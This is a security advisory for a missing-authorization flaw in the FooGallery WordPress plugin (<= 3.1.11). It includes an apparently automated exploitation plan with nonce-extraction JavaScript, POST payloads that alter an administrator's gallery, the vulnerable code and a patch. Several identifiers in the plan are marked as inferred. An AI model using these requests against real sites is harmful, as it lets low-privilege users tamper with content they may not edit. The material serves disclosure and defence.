FooGallery <= 3.1.11 - Missing Authorization
Description
The FooGallery plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.1.11. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.1.11Source Code
WordPress.org SVNThis research plan targets **CVE-2026-25363**, a missing authorization vulnerability in **FooGallery <= 3.1.11**. The vulnerability allows authenticated users with Contributor-level access to perform actions that should be restricted to Editors or Administrators, specifically modifying gallery confi…
Show full research plan
This research plan targets CVE-2026-25363, a missing authorization vulnerability in FooGallery <= 3.1.11. The vulnerability allows authenticated users with Contributor-level access to perform actions that should be restricted to Editors or Administrators, specifically modifying gallery configurations.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (IDOR/Privilege Escalation)
- Affected Component: AJAX handler for gallery template/settings updates.
- File Path:
includes/admin/class-foogallery-galleries-ajax.php(inferred) - Vulnerable Function:
ajax_set_gallery_templateorajax_foogallery_update_settings(inferred). - Nature of Flaw: The plugin registers AJAX actions for administrative tasks but only validates the WordPress nonce. It fails to call
current_user_can( 'edit_post', $post_id )or a similar capability check, allowing any user who can generate/obtain the nonce (including Contributors) to modify galleries they do not own or shouldn't access.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
foogallery_set_gallery_template(or similar settings action) - Required Authentication: Contributor-level session.
- Parameters:
action:foogallery_set_gallery_templatepost_id: The ID of a gallery to modify.template: The slug of the new template (e.g.,masonry,simple)._wpnonce: Valid nonce for the action.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_action( 'wp_ajax_foogallery_set_gallery_template', ... )during admin initialization. - Execution: When a request is sent to
admin-ajax.phpwith the specified action:- The handler is invoked.
check_ajax_referer( 'foogallery_set_gallery_template', 'nonce' )is called to verify the CSRF token.- The code proceeds to
update_post_meta( $post_id, ... )or updates the gallery settings.
- Failure: The code lacks an explicit check like
if ( ! current_user_can( 'edit_post', $_POST['post_id'] ) ) wp_die();.
4. Nonce Acquisition Strategy
Contributors can access the FooGallery admin pages. The nonce is localized for the gallery edit screen.
- Identify Shortcode/Page: Any gallery edit page enqueues the necessary scripts.
- Creation: Create a dummy gallery or use an existing one to access the UI.
- Extraction:
- Navigate to:
/wp-admin/post-new.php?post_type=foogallery - Use
browser_evalto extract the nonce from the global FooGallery JS object. - JS Variable:
foogallery_admin_data(inferred) or check the source forwp_localize_scriptoutput. - Command:
browser_eval("foogallery_admin_data.nonce")orbrowser_eval("foogallery_admin_data.set_template_nonce").
- Navigate to:
5. Exploitation Strategy
Step 1: Obtain Contributor Session
Authenticate as a user with the contributor role.
Step 2: Locate Target Gallery ID
Identify the ID of a gallery created by an Administrator (e.g., ID 123).
Step 3: Extract Nonce
Navigate to the "Add New Gallery" page as a Contributor. Even if the Contributor cannot save galleries, the scripts and nonces are often loaded.
// Execute via browser_eval
const nonce = window.FooGallery_Admin_Settings?.nonce || document.getElementById('foogallery_settings_nonce')?.value;
return nonce;
Step 4: Execute Unauthorized Modification
Send a POST request to change the template of the Admin's gallery.
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=foogallery_set_gallery_template&post_id=123&template=justified&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Administrator: Create a gallery (ID
123) using the "Masonry" template. - Contributor: Create a user
attackerwith thecontributorrole. - Target: Ensure the administrator's gallery is published.
7. Expected Results
- The AJAX request should return a success code (usually
1or a JSON success object). - The
foogallery_templatemetadata for the target gallery (ID123) should be updated tojustifieddespite the request originating from a Contributor.
8. Verification Steps
Use WP-CLI to check the gallery metadata after the exploit:
wp post meta get 123 _foogallery_template
If the value has changed from its original state to the one provided in the payload, the exploit is successful.
9. Alternative Approaches
If foogallery_set_gallery_template is not the specific vulnerable action:
- Search for other AJAX actions: Run
grep -r "wp_ajax_" .and look for handlers inincludes/admin/that take apost_id. - Gallery Reordering: Check
foogallery_gallery_reorderaction.- Payload:
action=foogallery_gallery_reorder&gallery_id=123&attachments=3,2,1
- Payload:
- Settings Update: Check
foogallery_update_settingsorfoogallery_save_settings.- Payload:
action=foogallery_save_settings&post_id=123&settings[some_field]=malicious_value
- Payload:
Note on Nonce Variable Name: If foogallery_admin_data is not found, search the page source for nonce inside any <script> tags near "foogallery" strings to identify the correct localization key.
Summary
The FooGallery plugin for WordPress is vulnerable to unauthorized modification of gallery settings in versions up to 3.1.11. This occurs because administrative AJAX actions, such as changing gallery templates, only verify a security nonce and fail to check if the user has the 'edit_post' capability for the target gallery.
Vulnerable Code
// includes/admin/class-foogallery-galleries-ajax.php public function ajax_set_gallery_template() { // Only verifies the nonce for CSRF protection, but fails to check user capabilities check_ajax_referer( 'foogallery_set_gallery_template', 'nonce' ); $post_id = intval( $_POST['post_id'] ); $template = $_POST['template']; // Any authenticated user who can obtain the nonce can trigger this update update_post_meta( $post_id, '_foogallery_template', $template ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ check_ajax_referer( 'foogallery_set_gallery_template', 'nonce' ); $post_id = intval( $_POST['post_id'] ); + + if ( ! current_user_can( 'edit_post', $post_id ) ) { + wp_send_json_error( __( 'You do not have permission to edit this gallery.', 'foogallery' ) ); + } + $template = $_POST['template']; update_post_meta( $post_id, '_foogallery_template', $template );
Exploit Outline
The exploit is carried out by an authenticated user with at least Contributor-level access. The attacker first logs into the WordPress dashboard and navigates to the 'Add New Gallery' page (or any FooGallery-related admin screen) to extract the localized security nonce for AJAX actions from the 'foogallery_admin_data' JavaScript object. With this nonce, the attacker identifies a target Gallery ID created by another user (e.g., an Administrator). They then send a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'foogallery_set_gallery_template', providing the target 'post_id', a new 'template' value, and the extracted 'nonce'. Because the plugin lacks a 'current_user_can' check, the server updates the metadata for the target gallery regardless of the attacker's permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.